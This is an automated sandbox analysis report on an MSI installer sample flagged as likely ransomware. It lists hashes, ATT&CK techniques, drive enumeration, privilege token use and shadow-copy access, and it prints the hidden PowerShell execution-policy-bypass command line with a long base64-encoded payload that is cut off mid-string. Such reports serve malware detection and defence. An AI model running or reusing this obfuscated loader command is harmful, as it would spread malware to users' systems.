ff89161010aa1f19314c7bac959ef44d761ecd626abb4f1558e1592ba82abfc5

Analysis

max time kernel
148s
max time network
146s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
02/11/2026, 00:39

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ff89161010aa1f19.msi
Size 4.3MB
Sample261102-azzapsgs8j
SHA256 ff89161010aa1f19314c7bac959ef44d761ecd626abb4f1558e1592ba82abfc5
MD5 d50af2db52fd08299fc46b8b493016d7
SHA1 0ae40c532008bf5bf84eba34a2ec8902af6101d0
SHA512 796e9f389eacc8f1b80d383846486ad796ecce5a40a60afcaff508bcc5576992403c8ca793802bd39fd151df610d4cbe2913c581f146bd54ec0ccbf1bbee99bd
SSDEEP 98304:O/JrMOEglGFWZWVWCBVcnCI3tZnvmBSf80X8T21NYnYsc9:0bxPoVcnj3/neBK80emNadc9
TLSH
T13826D8EC7A51F3D980B01D5B9294CDEA176A3443CBC84B51BEBEBE7A128493D14F1E18
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

discovery execution persistence privilege_escalation ransomware

Malware Config

Signatures

Badlisted process makes network request 4 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
11	3240	powershell.exe
12	3240	powershell.exe
13	3240	powershell.exe
14	3240	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3240	powershell.exe

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe

Looks up external IP address via web service 1 TTPs 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	ipinfo.io
11	ipinfo.io

Drops file in Windows directory 12 IoCs

description	ioc	Process
File created	C:\Windows\Installer\e59e3bf.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File created	C:\Windows\SystemTemp\~DF55140452F855ECCD.TMP	msiexec.exe
File created	C:\Windows\Installer\e59e3c1.msi	msiexec.exe
File created	C:\Windows\SystemTemp\~DF123834F916F724CE.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\e59e3bf.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{57EC43B2-42B4-4D2C-AA03-942632BF7935}	msiexec.exe
File created	C:\Windows\SystemTemp\~DF63096136A42575B0.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIE805.tmp	msiexec.exe
File created	C:\Windows\SystemTemp\~DFA8F863F83526AC4B.TMP	msiexec.exe

Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs

persistence privilege_escalation

Installer Packages

T1546.016

Msiexec

T1218.007

pid	Process
1788	msiexec.exe

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 000000000400000027445be3350784180000000000000000000000000000000000000000000000000000000000000000000000000000000000001071020000000000c012000000000000000000000000270101000088380127445be30000000000001071020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d0830200000000006025c501000000000000000000000700010000e8410127445be3000000000000d08302000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9c701000000000000050000000000000000000000070001000098d4e327445be300000000000030a9c7010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9cc0100000000000005000000000000000000000007000100009854e627445be300000000000030a9cc01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
3308	msiexec.exe
3308	msiexec.exe
3240	powershell.exe
3240	powershell.exe
3240	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1788	msiexec.exe
Token: SeIncreaseQuotaPrivilege	1788	msiexec.exe
Token: SeSecurityPrivilege	3308	msiexec.exe
Token: SeCreateTokenPrivilege	1788	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	1788	msiexec.exe
Token: SeLockMemoryPrivilege	1788	msiexec.exe
Token: SeIncreaseQuotaPrivilege	1788	msiexec.exe
Token: SeMachineAccountPrivilege	1788	msiexec.exe
Token: SeTcbPrivilege	1788	msiexec.exe
Token: SeSecurityPrivilege	1788	msiexec.exe
Token: SeTakeOwnershipPrivilege	1788	msiexec.exe
Token: SeLoadDriverPrivilege	1788	msiexec.exe
Token: SeSystemProfilePrivilege	1788	msiexec.exe
Token: SeSystemtimePrivilege	1788	msiexec.exe
Token: SeProfSingleProcessPrivilege	1788	msiexec.exe
Token: SeIncBasePriorityPrivilege	1788	msiexec.exe
Token: SeCreatePagefilePrivilege	1788	msiexec.exe
Token: SeCreatePermanentPrivilege	1788	msiexec.exe
Token: SeBackupPrivilege	1788	msiexec.exe
Token: SeRestorePrivilege	1788	msiexec.exe
Token: SeShutdownPrivilege	1788	msiexec.exe
Token: SeDebugPrivilege	1788	msiexec.exe
Token: SeAuditPrivilege	1788	msiexec.exe
Token: SeSystemEnvironmentPrivilege	1788	msiexec.exe
Token: SeChangeNotifyPrivilege	1788	msiexec.exe
Token: SeRemoteShutdownPrivilege	1788	msiexec.exe
Token: SeUndockPrivilege	1788	msiexec.exe
Token: SeSyncAgentPrivilege	1788	msiexec.exe
Token: SeEnableDelegationPrivilege	1788	msiexec.exe
Token: SeManageVolumePrivilege	1788	msiexec.exe
Token: SeImpersonatePrivilege	1788	msiexec.exe
Token: SeCreateGlobalPrivilege	1788	msiexec.exe
Token: SeBackupPrivilege	4840	vssvc.exe
Token: SeRestorePrivilege	4840	vssvc.exe
Token: SeAuditPrivilege	4840	vssvc.exe
Token: SeBackupPrivilege	3308	msiexec.exe
Token: SeRestorePrivilege	3308	msiexec.exe
Token: SeRestorePrivilege	3308	msiexec.exe
Token: SeTakeOwnershipPrivilege	3308	msiexec.exe
Token: SeRestorePrivilege	3308	msiexec.exe
Token: SeTakeOwnershipPrivilege	3308	msiexec.exe
Token: SeRestorePrivilege	3308	msiexec.exe
Token: SeTakeOwnershipPrivilege	3308	msiexec.exe
Token: SeRestorePrivilege	3308	msiexec.exe
Token: SeTakeOwnershipPrivilege	3308	msiexec.exe
Token: SeRestorePrivilege	3308	msiexec.exe
Token: SeTakeOwnershipPrivilege	3308	msiexec.exe
Token: SeRestorePrivilege	3308	msiexec.exe
Token: SeTakeOwnershipPrivilege	3308	msiexec.exe
Token: SeRestorePrivilege	3308	msiexec.exe
Token: SeTakeOwnershipPrivilege	3308	msiexec.exe
Token: SeRestorePrivilege	3308	msiexec.exe
Token: SeTakeOwnershipPrivilege	3308	msiexec.exe
Token: SeRestorePrivilege	3308	msiexec.exe
Token: SeTakeOwnershipPrivilege	3308	msiexec.exe
Token: SeRestorePrivilege	3308	msiexec.exe
Token: SeTakeOwnershipPrivilege	3308	msiexec.exe
Token: SeRestorePrivilege	3308	msiexec.exe
Token: SeTakeOwnershipPrivilege	3308	msiexec.exe
Token: SeRestorePrivilege	3308	msiexec.exe
Token: SeTakeOwnershipPrivilege	3308	msiexec.exe
Token: SeRestorePrivilege	3308	msiexec.exe
Token: SeTakeOwnershipPrivilege	3308	msiexec.exe
Token: SeRestorePrivilege	3308	msiexec.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
1788	msiexec.exe
1788	msiexec.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
1788	msiexec.exe
3308	msiexec.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 3308 wrote to memory of 1952	3308	msiexec.exe	94
PID 3308 wrote to memory of 3240	3308	msiexec.exe	96
PID 3240 wrote to memory of 5704	3240	powershell.exe	99
PID 5704 wrote to memory of 4632	5704	csc.exe	100

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\msiexec.exe
msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\ff89161010aa1f19.msi
1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:1788

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3308
- C:\Windows\system32\srtasks.exe
  C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
  2⤵
  PID:1952
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$env:m8sBWjRQpWeo='C:\Users\Admin\AppData\Local\Temp\ff89161010aa1f19.msi';$wXPuuWmD=[Convert]::FromBase64String('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d0dISSBISUpTSUpLSUpLTChLTE0pTE1OO01OT3NOT1BpT1BRLlBRUmNRUlNiUlNUPVNUVU1UVVZhVVZXclZXWHNXWFloWFlaYVlaW2xaW1wuW1xdU1xdXmldXl96Xl9gZV9gYU9gYWJmYWJjKGJjZHRjZGV5ZGVmcGVmZ2VmZ2hvZ2hpZmhpaihpamtTamtsSWtsbSlsbW4pbW5vO25vcHNvcHFpcHFyLnFyc2Zyc3Rsc3R1YXR1dmd1dndzdnd4PXd4eTF4eXo7eXp7c3p7fGl7fH0ufH1+c31+f2h+f4Bvf4CBd4CBgj2BgoMwgoOEO4OEhVCEhYZJhYaHIIaHiHCHiIlpiImKO4mKi2mKi4xmi4yNKIyNjiGNjo9Djo+Qco+QkWWQkZJhkZKTdJKTlGWTlJVQlJWWcpWWl2+Wl5hjl5iZZZiZmnOZmptzmpucV5ucnSicnZ5unZ6fdZ6foGyfoKFsoKGiLKGio2Oio6Rvo6SlbaSlpm2lpqdhpqeobqeoqWSoqaosqaqrSaqrrG6rrK10rK2uUK2ur3Sur7Byr7CxLrCxslqxsrNlsrO0crO0tW+0tbYstba3Sba3uG63uLl0uLm6ULm6u3S6u7xyu7y9Lry9vlq9vr9lvr/Acr/AwW/AwcIswcLDZsLDxGHDxMVsxMXGc8XGx2XGx8gsx8jJMMjJynjJysswysvMOcvMzTDMzc4wzc7PMM7P0DLP0NEw0NHSMNHS0yzS09RJ09TVbtTV1nTV1tdQ1tfYdNfY2XLY2dou2drbWtrb3GXb3N1y3N3eb93e3yze3+Bu3+DhdeDh4mzh4uNs4uPkLOPk5XLk5eZl5ebnZubn6CDn6Olz6Onqaenq6yzq6+xv6+ztdezt7nTt7u8g7u/wcO/w8Wnw8fIp8fLzKfLz9HLz9PVl9PX2dPX293X29/hy9/j5bvj5+iD5+vsw+vv8O/v8/XL8/f5l/f7/dP7/AHX/AAFyAAECbgECAyACAwRwAwQFaQQFBi4FBgdwBgcIaQcICWQICQo7CQoLfQoLDH0LDA0nDA0OOw0OD2kODxBmDxARKBARElsREhNIEhMUORMUFTUUFRY5FRYXOBYXGDgXGBk5GBkaXRkaGzoaGxw6GxwdUhwdHnUdHh9uHh8gKB8gISQgISJnISIjdyIjJFQjJCVMJCUmeiUmJ00mJyhKJygpVSgpKnUpKitFKissKSssLSAsLS4tLS4vZy4vMHQvMDEgMDEyMDEyMykyMzR7MzQ1ZTQ1Nng1NjdpNjc4dDc4OSA4OTowOTo7fTo7PDs7PD19PD0+Oz0+P30+P0A7P0BBJEBBQmNBQkNmQkNET0NERTlERUZfRUZHUEZHSE5HSElrSElKd0lKS0tKS0xVS0xNV0xNTlZNTk9KTk9QPU9QUVtQUVJFUVJTblJTVHZTVFVpVFVWclVWV29WV1huV1hZbVhZWmVZWltuWltcdFtcXV1cXV46XV5fOl5fYEdfYGFlYGFidGFiY0ViY2RuY2RldmRlZmllZmdyZmdob2doaW5oaWptaWprZWprbG5rbG10bG1uVm1ub2Fub3Byb3BxaXBxcmFxcnNicnN0bHN0dWV0dXYodXZ3J3Z3eG13eHk4eHl6c3l6e0J6e3